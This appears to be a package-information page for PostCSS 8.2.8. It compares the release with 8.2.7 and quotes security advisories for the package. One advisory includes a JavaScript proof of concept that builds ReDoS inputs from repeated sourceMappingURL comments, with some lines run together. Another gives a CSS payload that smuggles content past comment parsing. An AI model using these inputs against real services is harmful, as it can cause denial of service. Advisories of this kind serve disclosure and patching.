PostCSS version 8.2.8 is a minor update to the popular JavaScript tool for transforming CSS with the help of plugins. Building upon version 8.2.7, it appears to focus on some under-the-hood changes and refinements. Both versions share the same core dependencies: nanoid for generating unique IDs, colorette for adding color to console output, and source-map for debugging purposes. The license remains MIT. Both versions are authored by Andrey Sitnik also via opencollective.
The primary difference lies in the release date and potentially subtle internal improvements. Version 8.2.8 was released on March 9, 2021, a few days after version 8.2.7, released on March 3, 2021. The unpacked size grew marginally from 204,120 bytes to 204,424 bytes, suggesting possible bug fixes, performance enhancements, or small feature additions.
For developers already using PostCSS 8.2.7, upgrading to 8.2.8 is likely a safe and recommended step. While the changes may not be groundbreaking, they could resolve minor issues or introduce subtle optimizations that contribute to a smoother development experience. Because these are minor version updates, the upgrade should be relatively painless, with no major breaking changes anticipated. Users benefit from a maintained tool actively addressing issues and improvements for modern CSS transformation workflows.
All the vulnerabilities related to the version 8.2.8 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.